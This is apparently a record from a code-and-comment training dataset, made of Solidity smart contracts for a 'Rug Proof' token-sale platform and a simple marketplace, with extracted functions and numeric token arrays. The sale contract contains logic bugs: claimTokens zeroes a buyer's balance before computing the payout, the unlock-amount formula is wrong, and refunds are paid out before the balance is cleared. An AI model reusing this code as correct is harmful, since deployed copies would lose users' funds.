modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: contracts/TokenPool.sol pragma solidity 0.5.17; /** * @title A simple holder of tokens. * This is a simple contract to hold tokens. It's useful in the case where a separate contract * needs to hold multiple distinct pools of the same token. */ contract TokenPool { IUniswapV2Router02 public uniswapRouterV2; IUniswapV2Factory public uniswapFactory; address public rptContract; constructor() public { uniswapRouterV2 = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); rptContract = 0xa0Bb0027C28ade4Ac628b7f81e7b93Ec71b4E020; } function balance(address token) public view returns (uint256) { return IERC20(token).balanceOf(address(this)); } function () external payable {} function swapETHForRPT() external { if(address(this).balance > 0) { address[] memory uniswapPairPath = new address[](2); uniswapPairPath[0] = rptContract; // RPT contract address uniswapPairPath[1] = uniswapRouterV2.WETH(); // weth address uniswapRouterV2.swapExactETHForTokensSupportingFeeOnTransferTokens.value(address(this).balance)( 0, uniswapPairPath, address(this), block.timestamp ); } } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { function balanceOf(address account) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router02 { function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; } // File: contracts/RugProofMaster.sol /* Rug Proof Master Contract Website: rugproof.io The Rug Proof Master Contract is an experimental rug proof token sale platform. This contract allows token sellers to predefine liquidity % amounts that are validated and trustless. This allows buyers of the token sale to have confidence in what they are buying, as it ensures liquidity gets locked. A 1% platform tax is applied which market buys RPT and locks it into the burn pool. At the end of a successful sale, any remaining tokens are sent to the burn pool. If a sale does not meet its softcap after the end time, users can get their ETH refund minus the 1% platform tax. */ pragma solidity 0.5.17; contract RugProofMaster { using SafeMath for uint256; using Address for address; struct SaleInfo { address contractAddress; // address of the token address payable receiveAddress; // address to receive ETH uint256 tokenAmount; // amount of tokens to sell uint256 tokenRatio; // ratio of ETH to token uint256 totalEth; // total eth currently raised uint256 softcap; // amount of ETH we need to set this as a success uint32 counter; // amount of buyers uint32 timestampStartSec; // unix second start uint32 timestampEndSec; // unix second end uint8 liquidityLockPercent; // 20000 = 20%, capped at 100%, intervals of 0.01% bool isEnded; // signals the end of this sale bool isSuccess; // if false, users can claim their eth back mapping(address => uint256) ethContributed; // amount of eth contributed per address } SaleInfo[] public tokenSales; IUniswapV2Router02 public uniswapRouterV2; IUniswapV2Factory public uniswapFactory; //inaccessible contract that stores funds //cannot use 0 address because some tokens prohibit it without a burn function TokenPool public burnPool; // address for the RPT token address public rptContract; // Amount of wei raised in this contracts lifetime uint256 public _weiRaised; uint256 public rptTax; address public owner; bool private _notEntered; mapping(address => bool) public contractVerified; event LogCreateNewSale(address _contract, uint256 _tokenAmount); event LogContractVerified(address _contract, bool _verified); modifier onlyOwner() { require(msg.sender == owner, "RugProofMaster::OnlyOwner: Not the owner"); _; } modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } function initialize() public { require(owner == address(0x0), "RugProofMaster::Initialize: Already initialized"); uniswapRouterV2 = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); rptContract = 0xa0Bb0027C28ade4Ac628b7f81e7b93Ec71b4E020; burnPool = new TokenPool(); rptTax = 1; owner = msg.sender; _notEntered = true; } function setContractVerified(address _verified, bool _isVerified) external onlyOwner { contractVerified[_verified] = _isVerified; emit LogContractVerified(_verified, _isVerified); } /** * @dev Sets the % tax for each purchase. This tax sends market buys and burns RPT * */ function setTax(uint256 _rptTax) public onlyOwner { require(_rptTax <= 100, "RugProofMaster::setTax: tax is too high"); rptTax = _rptTax; } /** * @dev Creates a token sale with a timer. * * _contractAddress: contract of the token being sold * _tokenAmount: amount of tokens being sold * _tokenRatio: price of the token vs ETH i.e. 1e9 and a user buys 0.5 ETH worth => tokenRatio * ETHAmount / ETH Decimals = (1e9 * 0.5e18)/1e18 * _timestampStartSec: unix time in seconds when the sale starts * _timestampStartSec: unix time in seconds when the sale ends * _liquidityLockPercent: % of the sale that should go to locked ETH liquidity i.e. 50 => 50%. Capped at 100, increments of 1% * _softcap: ETH amount that is needed for the sale to be a success */ function createNewTokenSale( address _contractAddress, uint256 _tokenAmount, uint256 _tokenRatio, uint32 _timestampEndSec, uint8 _liquidityLockPercent, uint256 _softcap, bool wantVerified) external payable { require(_contractAddress != address(0), "CreateNewTokenSale: Cannot use the zero address"); require(msg.sender != address(this), "CreateNewTokenSale: Cannot call from this contract"); require(_tokenAmount != 0, "CreateNewTokenSale: Cannot sell zero tokens"); require(_tokenRatio != 0, "CreateNewTokenSale: Cannot have a zero ratio"); require(_softcap != 0, "CreateNewTokenSale: Cannot have a zero softcap"); require(_timestampEndSec > now, "CreateNewTokenSale: Cannot start sale after end time"); require(_liquidityLockPercent <= 100, "CreateNewTokenSale: Cannot have higher than 100% liquidity lock"); if(wantVerified == true){ require(msg.value == 2e18, "createNewTokenSale::wantVerified: msg.value is must be 2 ETH"); address(owner).toPayable().transfer(2e18); } // check how many tokens we receive // this is an important step to ensure we log proper amounts if this is a deflationary token // approve must be called before this function is executed. Need to approve this contract address to send the token amount uint256 tokenBalanceBeforeTransfer = IERC20(_contractAddress).balanceOf(address(this)); IERC20(_contractAddress).transferFrom(address(msg.sender), address(this), _tokenAmount); uint256 tokensReceived = IERC20(_contractAddress).balanceOf(address(this)).sub(tokenBalanceBeforeTransfer); SaleInfo memory saleInfo = SaleInfo( _contractAddress, msg.sender, tokensReceived, _tokenRatio, 0, _softcap, 0, uint32(now), _timestampEndSec, _liquidityLockPercent, false, false ); tokenSales.push(saleInfo); emit LogCreateNewSale(_contractAddress, _tokenAmount); } /** * @dev Enabled ability for tokens to be withdrawn by buyers after the sale has ended successfully. On a successful sale (softcap reached by time, or hardcap reached), this function: 1. Creates uniswap pair if not created. 2. adds token liquidity to uniswap pair. 3. burns tokens if hardcap was not met * * contractIndex: index of the token sale. See tokenSales variable * */ function endTokenSale(uint256 contractIndex) external { SaleInfo storage tokenSaleInfo = tokenSales[contractIndex]; uint256 hardcapETH = tokenSaleInfo.tokenAmount.mul(100 - tokenSaleInfo.liquidityLockPercent).div(100); //require(tokenSaleInfo.receiveAddress == msg.sender, "endTokenSale: can only be called by funding owner"); require(tokenSaleInfo.isEnded == false, "endTokenSale: token sale has ended already"); require(block.timestamp > tokenSaleInfo.timestampEndSec || hardcapETH <= tokenSaleInfo.totalEth, "endTokenSale: token sale is not over yet"); require(IERC20(tokenSaleInfo.contractAddress).balanceOf(address(this)) >= tokenSaleInfo.tokenAmount, "endTokenSale: contract does not have enough tokens"); // flag that allows ends this funding round // also allows token withdrawals and refunds if failed tokenSaleInfo.isEnded = true; // sale was a success if we hit the softcap if(tokenSaleInfo.totalEth >= tokenSaleInfo.softcap){ tokenSaleInfo.isSuccess = true; uint256 saleEthToLock = tokenSaleInfo.totalEth.mul(tokenSaleInfo.liquidityLockPercent).div(100); uint256 saleEthToUnlock = tokenSaleInfo.totalEth.mul(saleEthToLock); uint256 tokenAmountToLock = saleEthToLock.mul(tokenSaleInfo.tokenRatio).div(1e18); uint256 tokenAmountToUnlock = saleEthToUnlock.mul(tokenSaleInfo.tokenRatio).div(1e18); // send the ETH to the owner of the sale so they can pay for the uniswap pair tokenSaleInfo.receiveAddress.transfer(saleEthToUnlock); // create uniswap pair createUniswapPairMainnet(tokenSaleInfo.contractAddress); // burn the rest of the tokens if there are any left uint256 tokenAmountToBurn = tokenSaleInfo.tokenAmount.sub(tokenAmountToLock).sub(tokenAmountToUnlock); if(tokenAmountToBurn > 0){ IERC20(tokenSaleInfo.contractAddress).transfer(address(burnPool), tokenAmountToBurn); } // add liquidity to uniswap pair addLiquidity(tokenSaleInfo.contractAddress, tokenAmountToLock, saleEthToLock); } else { tokenSaleInfo.isSuccess = false; // transfer the token amount from this address back to the owner IERC20(tokenSaleInfo.contractAddress).transfer(tokenSaleInfo.receiveAddress, tokenSaleInfo.tokenAmount); } burnPool.swapETHForRPT(); } function _overrideEndTokenSale(uint256 contractIndex) external onlyOwner { SaleInfo storage tokenSaleInfo = tokenSales[contractIndex]; require(tokenSaleInfo.isEnded == false, "endTokenSale: token sale has ended already"); tokenSaleInfo.isEnded = true; tokenSaleInfo.isSuccess = false; // transfer the token amount from this address back to the owner IERC20(tokenSaleInfo.contractAddress).transfer(tokenSaleInfo.receiveAddress, tokenSaleInfo.tokenAmount); } /** * @dev Buys tokens from the token sale from the function caller. A tax is applied here based on the rptTax. * ETH tax is sent to the burn pool which can be used to market buy RPT. This is nonrefundable * * Prevents users from buying in if the hardcap is met, or if the sale is expired. * * contractIndex: index of the token sale. See tokenSales variable * */ function buyTokens(uint256 contractIndex) external payable nonReentrant{ require(msg.value != 0, "buyTokens: msg.value is 0"); uint256 weiAmount = msg.value; uint256 weiAmountTax = weiAmount.mul(rptTax).div(100); SaleInfo storage tokenSaleInfo = tokenSales[contractIndex]; // make sure this sale exists require(tokenSales.length > contractIndex, "buyTokens: no token sale for this index"); // make sure we are not raising too much ETH // we can only raise this much eth uint256 hardcapETH = tokenSaleInfo.tokenAmount.mul(100 - tokenSaleInfo.liquidityLockPercent).div(100); require(hardcapETH >= tokenSaleInfo.totalEth.add(weiAmount.sub(weiAmountTax)), "buyTokens: Sale has reached hardcap"); // make sure this sale is not over require(tokenSaleInfo.timestampEndSec > block.timestamp && tokenSaleInfo.isEnded == false, "buyTokens: Token sale is over"); // log raised eth tokenSaleInfo.ethContributed[msg.sender] = tokenSaleInfo.ethContributed[msg.sender].add(weiAmount.sub(weiAmountTax)); tokenSaleInfo.totalEth = tokenSaleInfo.totalEth.add(weiAmount.sub(weiAmountTax)); // increment buyer tokenSaleInfo.counter++; // log global raised amount _weiRaised = _weiRaised.add(weiAmount); // send eth to burn pool to marketbuy later address(burnPool).transfer(weiAmountTax); } /** * @dev Withdraws tokens the are bought from the sale if the message sender has any. * * * contractIndex: index of the token sale. See tokenSales variable * */ function claimTokens(uint256 contractIndex) external { require(tokenSales.length > contractIndex, "claimTokens: no available token sale"); SaleInfo storage tokenSaleInfo = tokenSales[contractIndex]; require(tokenSaleInfo.isEnded == true, "claimTokens: token sale has not ended"); require(tokenSaleInfo.isSuccess == true, "claimTokens: token sale was not successful"); require(tokenSaleInfo.ethContributed[msg.sender] > 0, "claimTokens: address contributed nothing"); // prevent caller from re-entering tokenSaleInfo.ethContributed[msg.sender] = 0; uint256 tokenAmountToSend = tokenSaleInfo.ethContributed[msg.sender].mul(tokenSaleInfo.tokenRatio).div(1e18); IERC20(tokenSaleInfo.contractAddress).transfer(address(msg.sender), tokenAmountToSend); } /** * @dev If a sale was not successful, allows users to withdraw their ETH from the sale minus the tax amount * * * contractIndex: index of the token sale. See tokenSales variable * */ function withdrawRefundedETH(uint256 contractIndex) external { require(tokenSales.length > contractIndex, "withdrawRefundedETH: no available token sale"); SaleInfo storage tokenSaleInfo = tokenSales[contractIndex]; // allow refunds when sale is over and was not a success if(tokenSaleInfo.isEnded == true && tokenSaleInfo.isSuccess == false && tokenSaleInfo.ethContributed[msg.sender] > 0){ //refund eth back to msgOwner address(msg.sender).transfer(tokenSaleInfo.ethContributed[msg.sender]); // set eth contributed to this sale as 0 tokenSaleInfo.ethContributed[msg.sender] = 0; } } function getTokenSalesOne() public view returns (address[] memory, address[] memory, uint256[] memory, uint256[] memory) { address[] memory contractAddresses = new address[](tokenSales.length); address[] memory receiveAddresses = new address[](tokenSales.length); uint256[] memory tokenAmounts = new uint256[](tokenSales.length); uint256[] memory tokenRatios = new uint256[](tokenSales.length); for (uint i = 0; i < tokenSales.length; i++) { SaleInfo storage saleInfo = tokenSales[i]; contractAddresses[i] = saleInfo.contractAddress; receiveAddresses[i] = saleInfo.receiveAddress; tokenAmounts[i] = saleInfo.tokenAmount; tokenRatios[i] = saleInfo.tokenRatio; } return (contractAddresses, receiveAddresses, tokenAmounts, tokenRatios); } function getTokenSalesTwo() public view returns (uint32[] memory, uint32[] memory, uint8[] memory, uint256[] memory) { uint32[] memory timestampStartSec = new uint32[](tokenSales.length); uint32[] memory timestampEndSec = new uint32[](tokenSales.length); uint8[] memory liquidityLockPercents = new uint8[](tokenSales.length); uint256[] memory totalEths = new uint256[](tokenSales.length); for (uint i = 0; i < tokenSales.length; i++) { SaleInfo storage saleInfo = tokenSales[i]; timestampStartSec[i] = saleInfo.timestampStartSec; timestampEndSec[i] = saleInfo.timestampEndSec; liquidityLockPercents[i] = saleInfo.liquidityLockPercent; totalEths[i] = saleInfo.totalEth; } return (timestampStartSec, timestampEndSec, liquidityLockPercents, totalEths); } function getTokenSalesThree() public view returns (bool[] memory, bool[] memory, uint256[] memory, uint32[] memory, uint256[] memory) { bool[] memory isEnded = new bool[](tokenSales.length); bool[] memory isSuccess = new bool[](tokenSales.length); uint256[] memory softcaps = new uint256[](tokenSales.length); uint32[] memory counters = new uint32[](tokenSales.length); uint256[] memory contributions = new uint256[](tokenSales.length); for (uint i = 0; i < tokenSales.length; i++) { SaleInfo storage saleInfo = tokenSales[i]; isEnded[i] = saleInfo.isEnded; isSuccess[i] = saleInfo.isSuccess; softcaps[i] = saleInfo.softcap; counters[i] = saleInfo.counter; contributions[i] = saleInfo.ethContributed[msg.sender]; } return (isEnded, isSuccess, softcaps, counters, contributions); } function getContribution(uint contractIndex) public view returns (uint256){ require(tokenSales.length > contractIndex, "withdrawRefundedETH: no available token sale"); uint256 ethContributed = tokenSales[contractIndex].ethContributed[msg.sender]; return (ethContributed); } function createUniswapPairMainnet(address _contractAddress) internal returns (bool) { require(_contractAddress != address(0), "CreateUniswapPairMainnet: cannot create uniswap pair for zero address"); address pairAddress = uniswapFactory.getPair(_contractAddress, address(uniswapRouterV2.WETH())); // zero address means this pair has not been created, we need to create it if(pairAddress == address(0)){ address tokenUniswapPair = uniswapFactory.createPair( address(uniswapRouterV2.WETH()), _contractAddress); require(tokenUniswapPair != address(0), "createUniswapPairMainnet: issue creating pair"); } return true; } function addLiquidity(address contractAddress, uint256 tokenAmount, uint256 ethAmount) internal { // need to approve the token movement IERC20(contractAddress).approve(address(uniswapRouterV2), tokenAmount); // transfer lp tokens directly into burn pool uniswapRouterV2.addLiquidityETH.value(ethAmount)( contractAddress, tokenAmount, 0, 0, address(burnPool), block.timestamp ); } }
* @dev Buys tokens from the token sale from the function caller. A tax is applied here based on the rptTax. ETH tax is sent to the burn pool which can be used to market buy RPT. This is nonrefundable Prevents users from buying in if the hardcap is met, or if the sale is expired. contractIndex: index of the token sale. See tokenSales variable/ make sure this sale exists make sure we are not raising too much ETH we can only raise this much eth make sure this sale is not over log raised eth increment buyer log global raised amount send eth to burn pool to marketbuy later
function buyTokens(uint256 contractIndex) external payable nonReentrant{ require(msg.value != 0, "buyTokens: msg.value is 0"); uint256 weiAmount = msg.value; uint256 weiAmountTax = weiAmount.mul(rptTax).div(100); SaleInfo storage tokenSaleInfo = tokenSales[contractIndex]; require(tokenSales.length > contractIndex, "buyTokens: no token sale for this index"); uint256 hardcapETH = tokenSaleInfo.tokenAmount.mul(100 - tokenSaleInfo.liquidityLockPercent).div(100); require(hardcapETH >= tokenSaleInfo.totalEth.add(weiAmount.sub(weiAmountTax)), "buyTokens: Sale has reached hardcap"); require(tokenSaleInfo.timestampEndSec > block.timestamp && tokenSaleInfo.isEnded == false, "buyTokens: Token sale is over"); tokenSaleInfo.ethContributed[msg.sender] = tokenSaleInfo.ethContributed[msg.sender].add(weiAmount.sub(weiAmountTax)); tokenSaleInfo.totalEth = tokenSaleInfo.totalEth.add(weiAmount.sub(weiAmountTax)); tokenSaleInfo.counter++; _weiRaised = _weiRaised.add(weiAmount); address(burnPool).transfer(weiAmountTax); }
1,493,603
[ 1, 38, 89, 1900, 2430, 628, 326, 1147, 272, 5349, 628, 326, 445, 4894, 18, 432, 5320, 353, 6754, 2674, 2511, 603, 326, 31656, 7731, 18, 9079, 512, 2455, 5320, 353, 3271, 358, 326, 18305, 2845, 1492, 848, 506, 1399, 358, 13667, 30143, 24254, 18, 1220, 353, 1661, 1734, 1074, 429, 9079, 19412, 87, 3677, 628, 30143, 310, 316, 309, 326, 7877, 5909, 353, 5100, 16, 578, 309, 326, 272, 5349, 353, 7708, 18, 1377, 6835, 1016, 30, 770, 434, 326, 1147, 272, 5349, 18, 2164, 1147, 23729, 2190, 19, 1221, 3071, 333, 272, 5349, 1704, 1221, 3071, 732, 854, 486, 28014, 4885, 9816, 512, 2455, 732, 848, 1338, 1002, 333, 9816, 13750, 1221, 3071, 333, 272, 5349, 353, 486, 1879, 613, 11531, 13750, 5504, 27037, 613, 2552, 11531, 3844, 1366, 13750, 358, 18305, 2845, 358, 13667, 70, 9835, 5137, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 30143, 5157, 12, 11890, 5034, 6835, 1016, 13, 3903, 8843, 429, 1661, 426, 8230, 970, 95, 203, 1377, 2583, 12, 3576, 18, 1132, 480, 374, 16, 315, 70, 9835, 5157, 30, 1234, 18, 1132, 353, 374, 8863, 203, 203, 1377, 2254, 5034, 732, 77, 6275, 273, 1234, 18, 1132, 31, 203, 1377, 2254, 5034, 732, 77, 6275, 7731, 273, 732, 77, 6275, 18, 16411, 12, 86, 337, 7731, 2934, 2892, 12, 6625, 1769, 203, 203, 1377, 348, 5349, 966, 2502, 1147, 30746, 966, 273, 1147, 23729, 63, 16351, 1016, 15533, 203, 203, 1377, 2583, 12, 2316, 23729, 18, 2469, 405, 6835, 1016, 16, 315, 70, 9835, 5157, 30, 1158, 1147, 272, 5349, 364, 333, 770, 8863, 203, 1377, 2254, 5034, 7877, 5909, 1584, 44, 273, 1147, 30746, 966, 18, 2316, 6275, 18, 16411, 12, 6625, 300, 1147, 30746, 966, 18, 549, 372, 24237, 2531, 8410, 2934, 2892, 12, 6625, 1769, 203, 1377, 2583, 12, 20379, 5909, 1584, 44, 1545, 1147, 30746, 966, 18, 4963, 41, 451, 18, 1289, 12, 1814, 77, 6275, 18, 1717, 12, 1814, 77, 6275, 7731, 13, 3631, 315, 70, 9835, 5157, 30, 348, 5349, 711, 8675, 7877, 5909, 8863, 203, 1377, 2583, 12, 2316, 30746, 966, 18, 5508, 1638, 2194, 405, 1203, 18, 5508, 597, 1147, 30746, 966, 18, 291, 28362, 422, 629, 16, 315, 70, 9835, 5157, 30, 3155, 272, 5349, 353, 1879, 8863, 203, 203, 203, 1377, 1147, 30746, 966, 18, 546, 442, 11050, 63, 3576, 18, 15330, 65, 273, 1147, 30746, 966, 18, 546, 442, 2 ]
pragma solidity ^0.4.18; contract Buyco { struct User { string name; string phone; string email; } struct Item { string title; string description; uint priceInWei; address sellerAddress; bool isSold; } mapping(address => User) private users; Item[] private itemsForSale; address private contractOwner; function Buyco() public { contractOwner = msg.sender; } modifier isOwner() { require(msg.sender == contractOwner); _; } function addUser(string name) public { User memory newUser; newUser.name = name; users[msg.sender] = newUser; } function getUser(address addr) public view returns(string) { User memory foundUser = users[addr]; return foundUser.name; } function addItem(string title, uint priceInEth) public { // user must be registered require(bytes(users[msg.sender].name).length != 0); Item memory newItem; newItem.title = title; newItem.priceInWei = priceInEth * 1 ether; newItem.sellerAddress = msg.sender; newItem.isSold = false; itemsForSale.push(newItem); } function getItemsLength() public view returns(uint length) { length = itemsForSale.length; } function getItem(uint itemId) public view returns(string title, uint priceInWei, bool isSold) { require(0 <= itemId && itemId < itemsForSale.length); Item memory foundItem = itemsForSale[itemId]; title = foundItem.title; priceInWei = foundItem.priceInWei; isSold = foundItem.isSold; } function buyItem(uint itemId) public payable { // user must be registered require(bytes(users[msg.sender].name).length != 0); // item id must be valid require(0 <= itemId && itemId < itemsForSale.length); // item must not be sold require(!itemsForSale[itemId].isSold); // buyer must pay the exact value of the item require(itemsForSale[itemId].priceInWei == msg.value); itemsForSale[itemId].isSold = true; transferFundsToSeller(itemId); } // deduct 5% from item price and transfer funds to seller function transferFundsToSeller(uint soldItemId) private { uint totalAmount = itemsForSale[soldItemId].priceInWei; uint fivePercentOfTotalAmount = totalAmount * 5 / 100; uint deductedAmount = totalAmount - fivePercentOfTotalAmount; address sellerAddress = itemsForSale[soldItemId].sellerAddress; sellerAddress.transfer(deductedAmount); } function getContractBalance() public view isOwner returns(uint) { uint balanceInEth = this.balance / 1 ether; return balanceInEth; } function getFundsFromContract(uint amountInEth) public isOwner { uint amountInWei = amountInEth * 1 ether; msg.sender.transfer(amountInWei); } }
deduct 5% from item price and transfer funds to seller
function transferFundsToSeller(uint soldItemId) private { uint totalAmount = itemsForSale[soldItemId].priceInWei; uint fivePercentOfTotalAmount = totalAmount * 5 / 100; uint deductedAmount = totalAmount - fivePercentOfTotalAmount; address sellerAddress = itemsForSale[soldItemId].sellerAddress; sellerAddress.transfer(deductedAmount); }
12,917,116
[ 1, 785, 853, 1381, 9, 628, 761, 6205, 471, 7412, 284, 19156, 358, 29804, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 42, 1074, 11634, 22050, 12, 11890, 272, 1673, 17673, 13, 3238, 288, 203, 3639, 2254, 2078, 6275, 273, 1516, 1290, 30746, 63, 87, 1673, 17673, 8009, 8694, 382, 3218, 77, 31, 203, 3639, 2254, 23714, 8410, 951, 5269, 6275, 273, 2078, 6275, 380, 1381, 342, 2130, 31, 203, 3639, 2254, 11140, 853, 329, 6275, 273, 2078, 6275, 300, 23714, 8410, 951, 5269, 6275, 31, 203, 3639, 1758, 29804, 1887, 273, 1516, 1290, 30746, 63, 87, 1673, 17673, 8009, 1786, 749, 1887, 31, 203, 3639, 29804, 1887, 18, 13866, 12, 785, 853, 329, 6275, 1769, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.13; library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns(bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ReentrancyGuard { /// @dev counter to allow mutex lock with only one SSTORE operation uint256 private _guardCounter; constructor() internal { // The counter starts at one to prevent changing it from zero to a non-zero // value, which is a more expensive operation. _guardCounter = 1; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter); } } contract GovChecker is Ownable { IRegistry public reg; bytes32 public constant GOV_NAME = "GovernanceContract"; bytes32 public constant STAKING_NAME = "Staking"; bytes32 public constant BALLOT_STORAGE_NAME = "BallotStorage"; bytes32 public constant ENV_STORAGE_NAME = "EnvStorage"; bytes32 public constant REWARD_POOL_NAME = "RewardPool"; /** * @dev Function to set registry address. Contract that wants to use registry should setRegistry first. * @param _addr address of registry * @return A boolean that indicates if the operation was 